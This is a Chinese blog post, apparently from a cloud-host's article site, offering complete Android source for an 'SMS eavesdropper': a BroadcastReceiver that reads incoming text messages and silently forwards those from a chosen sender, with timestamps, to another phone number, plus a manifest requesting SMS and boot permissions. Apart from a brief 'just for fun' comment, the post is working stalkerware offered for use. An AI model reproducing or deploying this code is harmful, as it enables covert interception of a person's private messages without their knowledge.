温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

android短信窃听器,娱乐版,效果可以实现

发布时间:2020-06-24 10:54:07 来源:网络 阅读:780 作者:a120476536 栏目:移动开发

废话不多直接上代码:

android短信窃听器,娱乐版,效果可以实现

package com.qiao.service;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
/**
 * 注  纯属娱乐,请勿瞎搞,另手机装有卫士之类的软件会发生拦截
 * @author Administrator
 *
 */
public class MySmsService extends BroadcastReceiver{

    @Override
    public void onReceive(Context context, Intent intent) {
        //获取短信实体内容
        Object [] pdus = (Object[]) intent.getExtras().get("pdus");
        //迭代短信内容
        for (Object pdu :pdus) {
            //对短信各部分进行组成
        SmsMessage message=    SmsMessage.createFromPdu((byte[]) pdu);
        //获得短信发送者
        String sender = message.getOriginatingAddress();
        //获得短信内容
        String content =message.getMessageBody();
        Date date = new Date(message.getTimestampMillis());
        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH:mm:ss");
        String time =dateFormat.format(date);
        //处理所监听到的短信
        sendSMS(sender,content,time);
        }
    }

    private void sendSMS(String sender, String content, String time) {
        
        if ("这里填写手机号-->发信息的人".equals(sender)) {
            SmsManager manager = SmsManager.getDefault();
            
            ArrayList<String> texts = manager.divideMessage(content);
            for (String text : texts) {
                manager.sendTextMessage("这里填写监听后需要发送给谁-->手机号", null, "time + " + time
                        + " " + text, null, null);
            }
        }
    }
    
}


以下是mainfest里边权限之类的:

android短信窃听器,娱乐版,效果可以实现


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.qiao.smsreceiver"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="19" />
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.qiao.smsreceiver.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
      <!--   短信广播接收器 -->
        <receiver android:name="com.qiao.service.MySmsService">
            <intent-filter >
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

</manifest>


向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI